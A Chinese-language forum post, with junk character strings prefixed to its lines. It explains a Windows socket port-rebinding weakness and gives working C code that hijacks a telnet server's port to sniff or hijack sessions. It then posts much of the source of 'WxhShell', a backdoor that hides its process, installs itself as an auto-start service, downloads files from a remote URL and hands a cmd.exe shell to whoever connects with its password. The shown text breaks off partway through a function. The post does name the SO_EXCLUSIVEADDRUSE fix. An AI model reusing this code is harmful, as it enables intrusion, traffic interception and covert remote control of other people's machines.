在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:udZfA\sW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ho9*y3] ]z@]Fi33Y saddr.sin_family = AF_INET;
ld0WZj
artS*fv3r saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Jx,s.Z0@7, DvKMb-*S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4K,&Q/Vdd7 |LhuZ_;1xo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
oOvbel`; P|4a}SWU 这意味着什么?意味着可以进行如下的攻击:
yw^,@' _z<q9: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+%^xz
1m svII =JB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Xp@OIn .-
o,_eg1f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p_5+L@%Gb ={d\zjI$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
gNBI?xs`p 83|/sWrvh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@ZWKs
DtX{0p<T3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!o7.L%S Iu]P^8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HkCme_y" Ei!z? sxzx #include
uDUSR+E> #include
B$n\m854 #include
dWEx55>,1 #include
Ro69woU DWORD WINAPI ClientThread(LPVOID lpParam);
-R]S)Odml int main()
-.G0k*[d {
5^i ^? WORD wVersionRequested;
?J
AzN DWORD ret;
"5FeP; WSADATA wsaData;
NiF*h~q BOOL val;
{w(N9Va,( SOCKADDR_IN saddr;
^|2qD:
; SOCKADDR_IN scaddr;
W*#/@/5 int err;
jLU)S) SOCKET s;
SX.v5plhc SOCKET sc;
>U].k8a) int caddsize;
qxNV~aK HANDLE mt;
_,QUH" DWORD tid;
^ +G> N wVersionRequested = MAKEWORD( 2, 2 );
ud1E@4;qf err = WSAStartup( wVersionRequested, &wsaData );
?6gI8K6X if ( err != 0 ) {
QS_xOQ ' printf("error!WSAStartup failed!\n");
0o`o'Z V=c return -1;
/6fs h7 \ }
h&P[9:LH saddr.sin_family = AF_INET;
N~_gT
Jr~P :8FH{sqR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
z%z$'m j
jQ= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v}U;@3W8U saddr.sin_port = htons(23);
B("kE` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_;9)^})$ {
)ALcmC?!# printf("error!socket failed!\n");
?UzHQr return -1;
p;HZA}p \ }
Ki2_Nh>tM val = TRUE;
j
yE+?4w; //SO_REUSEADDR选项就是可以实现端口重绑定的
]v@,>!Wn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
CEiGjo^ {
H}/1/5L printf("error!setsockopt failed!\n");
[?A0{#5)8x return -1;
#N:o)I }
0n%`Xb0q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+a{>jzR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pbNVj~#6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2P*O^-zRp {Ffr l(* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
p}\!"&,^m {
2epL!j)Wh ret=GetLastError();
uu:BN0 printf("error!bind failed!\n");
=:lacK(0 return -1;
o5d)v)Rx= }
pE#0949 listen(s,2);
& |r)pl0$ while(1)
;NEHbLH#F {
<_}u5E)7( caddsize = sizeof(scaddr);
_XN sDW4| //接受连接请求
!q?}[E2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_[V
6s#Wk3 if(sc!=INVALID_SOCKET)
zcc]5> {
qohUxtnTK> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
U3>G9g>^B if(mt==NULL)
>dO^pDSs {
Ag-*DH0 printf("Thread Creat Failed!\n");
&e{&<ZVR
break;
{|50&]m }
FD8Hx\oF }
:7 maN^ CloseHandle(mt);
U -(d~]$ }
k&*=:y} closesocket(s);
0<!BzG WSACleanup();
fa)G$Q return 0;
Xg"=,j2 }
Gh.02 DWORD WINAPI ClientThread(LPVOID lpParam)
JyV"jL
{
1]"b.[P> SOCKET ss = (SOCKET)lpParam;
rTcH~s
D` SOCKET sc;
Z+4J4Ka^!( unsigned char buf[4096];
d]<tFx>CQW SOCKADDR_IN saddr;
p ^Ruf?> long num;
)Fbkt(1 DWORD val;
!.!Ervi!N DWORD ret;
Q[ IaA" //如果是隐藏端口应用的话,可以在此处加一些判断
4GJsVA (d| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+'l@t
bP saddr.sin_family = AF_INET;
K.k=\N saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+g*Ko@]m> saddr.sin_port = htons(23);
ey:3F% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e(b*T {
VrHFM(RNe printf("error!socket failed!\n");
Q%6*S!~ return -1;
0YKG`W }
sXAXHZ{ val = 100;
m$3&r2vgi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m]85F^R0 {
aX~7NslR ret = GetLastError();
Vki3D'.7N return -1;
5 gE }
oY &r76 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AV?*r-vWL. {
\JX8`]|& ret = GetLastError();
PR6{Y]e% return -1;
nlKWZYv }
N(Cfv3{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(URWicaB {
]cbY@U3!2 printf("error!socket connect failed!\n");
qT(j%F closesocket(sc);
zg|]Ic closesocket(ss);
2$|WXYY return -1;
IRLT- }
<EJC.WWJa while(1)
/"
,]J {
Av{1~%hU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Rv }e+5F //如果是嗅探内容的话,可以再此处进行内容分析和记录
HyB!8M| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&uC7W.| num = recv(ss,buf,4096,0);
d+l@hgz~ if(num>0)
&<4Jyhm:o send(sc,buf,num,0);
f"S^:F0 else if(num==0)
[H!V break;
2x0[@cTi? num = recv(sc,buf,4096,0);
V5m4dQ>t if(num>0)
S?&ntUah send(ss,buf,num,0);
%1S;y else if(num==0)
(2X`imJ break;
tONxV` }
-(dc1?COi closesocket(ss);
& GX
pRo closesocket(sc);
^+I{*0{/[ return 0 ;
26j ; RV }
C"K(-/ Z{|wjZb( +as(m ==========================================================
Hq OzArp3 {qK>A?9 下边附上一个代码,,WXhSHELL
YajUdpJi }k$2r3 ==========================================================
RCKb5p9 #Fq6-]y1") #include "stdafx.h"
{eL XVNR7R ;V@o 2a #include <stdio.h>
YjAwt;%-D #include <string.h>
re:=fC:t5A #include <windows.h>
y]+q mNw"+ #include <winsock2.h>
YFeF(k!!n #include <winsvc.h>
}}@xx& #include <urlmon.h>
id'E_]r _3.=| @L #pragma comment (lib, "Ws2_32.lib")
\G:\36l #pragma comment (lib, "urlmon.lib")
*bsS%qD] (X;D.s #define MAX_USER 100 // 最大客户端连接数
u.43b8! #define BUF_SOCK 200 // sock buffer
C0J/FFBQ ^ #define KEY_BUFF 255 // 输入 buffer
p{gJVP#l'Z U*b1yxt #define REBOOT 0 // 重启
"6o}g. #define SHUTDOWN 1 // 关机
U,\3 !D0jt Q#i[Y?$L #define DEF_PORT 5000 // 监听端口
DHQavHqbZ edD1 9A #define REG_LEN 16 // 注册表键长度
bkTk:-L5: #define SVC_LEN 80 // NT服务名长度
[7oU = )cxLpTr // 从dll定义API
qXcHf6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Jsde+G,N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-pvF~P?8U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
llN#4D9s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0e-M 24,C 7S|nn|\Kp // wxhshell配置信息
'GcN9D struct WSCFG {
6B'd]Fe int ws_port; // 监听端口
[,JUC< char ws_passstr[REG_LEN]; // 口令
VXX7Y?! int ws_autoins; // 安装标记, 1=yes 0=no
ei%L[>N char ws_regname[REG_LEN]; // 注册表键名
(=
#EJB1( char ws_svcname[REG_LEN]; // 服务名
j#6@cO'` char ws_svcdisp[SVC_LEN]; // 服务显示名
ap,%)on^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
=wEU+R_#o char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_9*3Mr)2N int ws_downexe; // 下载执行标记, 1=yes 0=no
^VabXGzo# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h)7hk*I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=MMU(0 E /{il;/Vj };
O7vJ`K(! h'%iY6!fA // default Wxhshell configuration
_[M*o0[@W struct WSCFG wscfg={DEF_PORT,
Qu]F<H*Y| "xuhuanlingzhe",
;&=c@>!xP# 1,
@M=xdZNyJ "Wxhshell",
B*B}eXUph "Wxhshell",
4E:kDl* @ "WxhShell Service",
NpqK+GO "Wrsky Windows CmdShell Service",
hUR>NUK@8 "Please Input Your Password: ",
_!_%Afz 1,
apmZ&Ab "
http://www.wrsky.com/wxhshell.exe",
=zBc@VTp "Wxhshell.exe"
!Z(3dtUy };
@,kR<1 LlbRr.wL // 消息定义模块
]fiAV|'^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/fh[_!qN char *msg_ws_prompt="\n\r? for help\n\r#>";
'qoDFR\v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
iTUOJ3V7i char *msg_ws_ext="\n\rExit.";
3Q;XvrGA char *msg_ws_end="\n\rQuit.";
NW?.Ge.!P char *msg_ws_boot="\n\rReboot...";
):<9j"Z;At char *msg_ws_poff="\n\rShutdown...";
u]`ur#_ char *msg_ws_down="\n\rSave to ";
|
6/ # H* [cfKvROG char *msg_ws_err="\n\rErr!";
,;%F\<b char *msg_ws_ok="\n\rOK!";
h=*eOxR"4^ hsCts@R char ExeFile[MAX_PATH];
Wy:xiP int nUser = 0;
pA?kv]l( HANDLE handles[MAX_USER];
0Tp,b (;n int OsIsNt;
L@VIC|~E X7."hGu@ SERVICE_STATUS serviceStatus;
9lU"m_
QT4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
R%EpF'[~[ e]5
n4"]D) // 函数声明
`PH]_]:% int Install(void);
4arqlzlo int Uninstall(void);
T#OrsJdu int DownloadFile(char *sURL, SOCKET wsh);
rP%B#%;S" int Boot(int flag);
vHmsS\\~9 void HideProc(void);
.+#<~Jv int GetOsVer(void);
<0sT int Wxhshell(SOCKET wsl);
mu$0x) void TalkWithClient(void *cs);
u*"mdL2 int CmdShell(SOCKET sock);
k\/idd[ int StartFromService(void);
a]]>(Txc int StartWxhshell(LPSTR lpCmdLine);
|i~Ab!*8n oEJYAKN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]:g;S,{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
7%`
\E9t $-*E // 数据结构和表定义
Z23*`yR SERVICE_TABLE_ENTRY DispatchTable[] =
%D_pTD\ {
.ey=gI!x0 {wscfg.ws_svcname, NTServiceMain},
h+d \u {NULL, NULL}
v{2euOFE };
IN!,|)8s XLq%nVBM8\ // 自我安装
oY(q(W0ze int Install(void)
HAca'!p {
aK+jpi4? char svExeFile[MAX_PATH];
'n$TJp|s HKEY key;
#]vs*Sz strcpy(svExeFile,ExeFile);
l!7O2Ai5 ]-+%]' // 如果是win9x系统,修改注册表设为自启动
i*l-w4D^U if(!OsIsNt) {
|G(9mnZ1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)}|b6{{< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3U\| E RegCloseKey(key);
qGK -f4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V'Z Z4og RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j~;kh_ RegCloseKey(key);
*p !F+" return 0;
_X/`7!f }
W? SFtz }
!ma%Zk }
fBw"<J{ else {
d!z}!
: ?nc:B]=pTY // 如果是NT以上系统,安装为系统服务
]hHL[hoFC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L5{DWm~@ if (schSCManager!=0)
kaG@T,pH( {
b,r{wrLe) SC_HANDLE schService = CreateService
PN"s^]4 (
i"Z schSCManager,
):5M + wscfg.ws_svcname,
kS)azV wscfg.ws_svcdisp,
Yb?L:,a(I SERVICE_ALL_ACCESS,
QHmF,P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
J&w'0 SERVICE_AUTO_START,
X:kqX[\> SERVICE_ERROR_NORMAL,
w;=g$Bn svExeFile,
QoBM2QYO NULL,
|J+oz7l?- NULL,
lD41+x7 NULL,
aEvW<jHh NULL,
q:a-tdv2 NULL
NG\g_^.M );
L,7+26XV"B if (schService!=0)
n=1_- ) {
tmVGJ+gz CloseServiceHandle(schService);
f:u3fL CloseServiceHandle(schSCManager);
~[ZRE @ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hgPzx@ strcat(svExeFile,wscfg.ws_svcname);
QTLGM-Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`~;`q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
vp2s)W8W RegCloseKey(key);
Q xm:5P return 0;
/_{B_2i/> }
Tk~Y }
EgB$y"fs CloseServiceHandle(schSCManager);
J)n^b }
6*r#m%| }
"fN=Y$G +DwE~l return 1;
H9+[T3b }
W"[Q=$2<< W<tw],M-# // 自我卸载
?Jy/]j5fI int Uninstall(void)
2|}`?bY]i` {
]X\p\n'@j HKEY key;
D4IP$pAD `&w{-om\ if(!OsIsNt) {
lNbAt4]}f( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
HF;$Wf+=J RegDeleteValue(key,wscfg.ws_regname);
X')t6DQ( I RegCloseKey(key);
E
E^lw61 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+rWcfXOHM RegDeleteValue(key,wscfg.ws_regname);
}O+`X) 9 RegCloseKey(key);
IlfH return 0;
w:HRzU> }
3](At%ss }
p:?h)'bA< }
6.6;oa4j else {
Q$58K9 =x3T+)qCNX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
U%V4@iz~\m if (schSCManager!=0)
&1Cif$Y4w {
PTP0 _|K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.
ytxe!O if (schService!=0)
c@|f'V4 {
=k\Qx),Ir if(DeleteService(schService)!=0) {
6(8zt"E CloseServiceHandle(schService);
L#MgoBXr CloseServiceHandle(schSCManager);
F#KUu3;B return 0;
RXw }Tb/D8 }
w[]\%`69}Z CloseServiceHandle(schService);
r,Tq";N' }
IylfMwLC CloseServiceHandle(schSCManager);
zT+ "Z(oz, }
7-("ppYX= }
4Hq6nT/ ~9Cw5rwH<; return 1;
WCyjp }
:V~
AjV *hlinQKs // 从指定url下载文件
v-&@c int DownloadFile(char *sURL, SOCKET wsh)
siz:YRur {
6QePrf HRESULT hr;
cpu|tK.t char seps[]= "/";
[B@R(z=H char *token;
icN#8\E char *file;
}WnoI2 char myURL[MAX_PATH];
KvmXRf*z char myFILE[MAX_PATH];
9 E2OCLWrE [/Xc},HbMe strcpy(myURL,sURL);
Gdv{SCV token=strtok(myURL,seps);
`P jS while(token!=NULL)
plgiQr # {
:u|F>e file=token;
=~q Xzq token=strtok(NULL,seps);
C^ZDUj` }
Y@MFH>* G5*_ GetCurrentDirectory(MAX_PATH,myFILE);
6.6x$y3v strcat(myFILE, "\\");
+^3
*Y"6Z strcat(myFILE, file);
V PI_pK send(wsh,myFILE,strlen(myFILE),0);
1i}p?sU send(wsh,"...",3,0);
\:>eZl? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Hh'o:j(^ if(hr==S_OK)
$!K,5^+ return 0;
<ELqj2`c else
LX7<+`aa return 1;
^3ysY24 Q :tp{(MF }
gsVm)mkd &?M'(` ~ // 系统电源模块
+?+iVLr!l} int Boot(int flag)
]]/p.#oD, {
UB7C,:" HANDLE hToken;
VV"1I R TOKEN_PRIVILEGES tkp;
Vc&xXtm[v *wV`7\@ if(OsIsNt) {
.`+N+B(4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3`{[T17 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)P9&I.a8 tkp.PrivilegeCount = 1;
E[tEW0ub tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%J:2y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M~-jPY,+ if(flag==REBOOT) {
J#Agk^Y 5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?Bsc;:KF return 0;
A~#w gLGn }
+Ec@qP R& else {
5<Y-?23 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
L%fJH_$_s return 0;
xB,(!0{` }
}bYk#6KX }
leO..M else {
#&& if(flag==REBOOT) {
$GX9-^og=T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,{sCI/ return 0;
5j#XNc)" }
p"o_0{8 else {
kcZz WG|n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!f*t9 I9Q return 0;
)X5en=[)O }
H6i;MQ }
lU% L |v= */e return 1;
_rfGn,@BH }
kUQdi%3yY; %<;PEQQ|C // win9x进程隐藏模块
S01Bc void HideProc(void)
8aa`0X/6 {
ZqJyuTPv [h~#5x
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'Y:ZWac, if ( hKernel != NULL )
j$}W%ibj {
Oo8"s+G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|9fGn@- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
afj[HJbY FreeLibrary(hKernel);
\,yX3R3}.~ }
D|X@aUp8} uz[5h0c return;
~+bS D<!b }
i2m+s; ;8>
TD&]{ // 获取操作系统版本
4: S- int GetOsVer(void)
Nt
P=m
@ {
(}&O)3) OSVERSIONINFO winfo;
6@cT;=W;xj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
J G3#(DVc; GetVersionEx(&winfo);
LM?UV)
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_Sn7z? return 1;
%TA@-tK= else
8^av&u$ return 0;
Bd-@@d.H< }
R,KoymXP Uh8c!CA8:\ // 客户端句柄模块
<ZgbmRY8 int Wxhshell(SOCKET wsl)
R[_UbN 28 {
LFT)_DG7( SOCKET wsh;
$ru()/pI)z struct sockaddr_in client;
c(G;O)ikS DWORD myID;
,]qTJ`J ~x 0x.-^A while(nUser<MAX_USER)
kPg| o3H {
C6cEt5 int nSize=sizeof(client);
$l<(*,,l wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x cA5 if(wsh==INVALID_SOCKET) return 1;
QocR)aN=+ 2/ v9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
% C.I2J`_ if(handles[nUser]==0)
Hj^_Cp]@* closesocket(wsh);
KG8Km else
y?*4SLy nUser++;
tp3]?@0 }
j65qIw_Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
m C&*K t?<pyw $ return 0;
YqSkz|o}m }
,z+7rl uDXRw*rTv // 关闭 socket
TDo!yQ void CloseIt(SOCKET wsh)
zxffjz,Fe: {
XAF*jevr closesocket(wsh);
/3ty*LQT nUser--;
L5-Kw+t ExitThread(0);
&q0s8'qA }
uF89B-t dZ"w2ho // 客户端请求句柄
N(@B3%H2/J void TalkWithClient(void *cs)
d"Aer {
3(n+5~{e 4itadQS SOCKET wsh=(SOCKET)cs;
y2:~_MD char pwd[SVC_LEN];
o@!Uds0 char cmd[KEY_BUFF];
OELh6R char chr[1];
o+j~~P int i,j;
12JmSvD 0M_~@E*& while (nUser < MAX_USER) {
"ke>O' VA^yv1We if(wscfg.ws_passstr) {
c&AJFED]< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ndCHWhi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>/5'0n_R //ZeroMemory(pwd,KEY_BUFF);
y(w&6: i=0;
`C +>PCO while(i<SVC_LEN) {
8n1<nS< ta'{S=^j // 设置超时
8pZGu8 fd_set FdRead;
\p%,g&^ x struct timeval TimeOut;
,/uVq G FD_ZERO(&FdRead);
uKL4cr@ FD_SET(wsh,&FdRead);
`1fNB1c
TimeOut.tv_sec=8;
#D2.RN TimeOut.tv_usec=0;
R$Or&:E ^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+8#hi5e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&}q;," aViZKps`m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M8p6f)l3 pwd
=chr[0]; I"5VkeIx
if(chr[0]==0xd || chr[0]==0xa) { V9%!B3Sb
pwd=0; ={]tklND
break; @7j$$
} Q`{2yU:r
i++; 5tG\5
} LZ 3PQL
h:3^FV
// 如果是非法用户,关闭 socket *@(j'0hj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }JlrWJRi
} ["65\GI?
$[1J[eY*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pX LXkF?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |K,[[D<R
#x|IEjoa
while(1) { c*c 8S~6
D%%@+3a
ZeroMemory(cmd,KEY_BUFF); &RL
j^A!
J7Y lmi
// 自动支持客户端 telnet标准 :% m56
j=0; p1`")$
while(j<KEY_BUFF) { 'irHpN6n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cf{rK`Ff^
cmd[j]=chr[0]; hvo7T@*'
if(chr[0]==0xa || chr[0]==0xd) { $z[r(a^a
cmd[j]=0; k,0lA#>
break; *\"+/
} >tQ$V<YB
j++; fB"It~ p
} 4E0 Y=
l1uv]t <
// 下载文件 t}x^*I$*
if(strstr(cmd,"http://")) { vL
]z3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jnl#d0)
-
if(DownloadFile(cmd,wsh)) R^+,D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wa!}$q+
else ^w6~?'}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :9Mqwgk,;3
} uz'MUT(68
else { rOA{8)jIa*
qku}cWD9/_
switch(cmd[0]) { ] GH_;
T'${*NVn
// 帮助 cj@ar^=`K
case '?': { JK9 J;c#T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v FWg0 $,
break; ;tG@ 6
} c6~<vV'}
// 安装 4KnrQ-D
case 'i': { >(BAIjF
E\
if(Install()) u.9syr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 Xl!Z^W
else p|RFpn2ygF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!$2nK+
break; 07#e{
} :=e"D;5
// 卸载 }
3JOC!;;
case 'r': { 1T/ 72+R0
if(Uninstall()) l,@rB+u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cVuT|b^
else pWOK~=t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xcw6mpLt
break; ~tB#Q6`nB
} =.\PG[
// 显示 wxhshell 所在路径 "[`/J?W
case 'p': { vV*i)`IXe
char svExeFile[MAX_PATH]; [I2vg<my
strcpy(svExeFile,"\n\r");
lqZUU92;
strcat(svExeFile,ExeFile); qj:\)#I
send(wsh,svExeFile,strlen(svExeFile),0); m
^'!
break; 3fd?xhWbN
} s_4y^w]aX
// 重启 ~jDf,a2
case 'b': { Ux+UcBKm-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y1_z(L;I
if(Boot(REBOOT)) M&J$9X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jm[_X
else { 7QM1E(cMg
closesocket(wsh); h)pYV>!d
ExitThread(0); )JXy>q#
} xV>sc;PEb
break; n#"N"6s
} rtC:3fDy
// 关机 }II)<g'
case 'd': { /j"aOLL|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $*c!9Etl4
if(Boot(SHUTDOWN)) @r3,|tkrz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}g3*_"
else { IXC2w*'m
closesocket(wsh); Rg%Xy`gS
ExitThread(0); BNq6dz$ J
} "9O8#i<Nr
break; Z}yd`7
} Q=h37]U+
// 获取shell ~'VVCtA
case 's': { 35n'sVn
CmdShell(wsh); @j'GcN vs
closesocket(wsh); ~*hCTqHvN
ExitThread(0); U$Od)
break; )*nZ6Cg'
} d-'BT(@:
// 退出 Tl L\&n.$
case 'x': { c!]Q0ib6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Ny^-4-N
CloseIt(wsh); Ib2n Bg>j
break; Svt%*j
} vY);7
// 离开 z yrjb8
case 'q': { vf?Xt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o,[Em<
closesocket(wsh); q+{yv
WSACleanup(); R#4f_9e<Z
exit(1); oQK,#>rv
break; 8f>v[SQ"
} DqA$%b
yyE
} 'tJxADK
} \]0+J
lu;gmWz
// 提示信息 9 e;8"rJ?C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h(p cGE
} -%TwtO<$']
} ;jh.\a_\
bK k7w#y
return; z?W kHQ9
} ~~}8D"
&neB$m3y
// shell模块句柄
t|C?=:_
int CmdShell(SOCKET sock) &n]]OPo
{ 11RqP:zg
STARTUPINFO si; T'a&
ZeroMemory(&si,sizeof(si)); EpK7VW
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;i!$rL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <K
<|G
PROCESS_INFORMATION ProcessInfo; <`Qbb=*
char cmdline[]="cmd"; X0 ]Se(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2`h4[^ [X
return 0; #r QT)n
} (dP9`Na]
[nLd> 2P
// 自身启动模式 #>2cfZ`6'J
int StartFromService(void) ,15$$3z /E
{ jvhD_L/
typedef struct 74a k|(!
{ f{U,kCv
DWORD ExitStatus; `HILsU=|
DWORD PebBaseAddress; H[N~)3x
DWORD AffinityMask; ~*L@|?
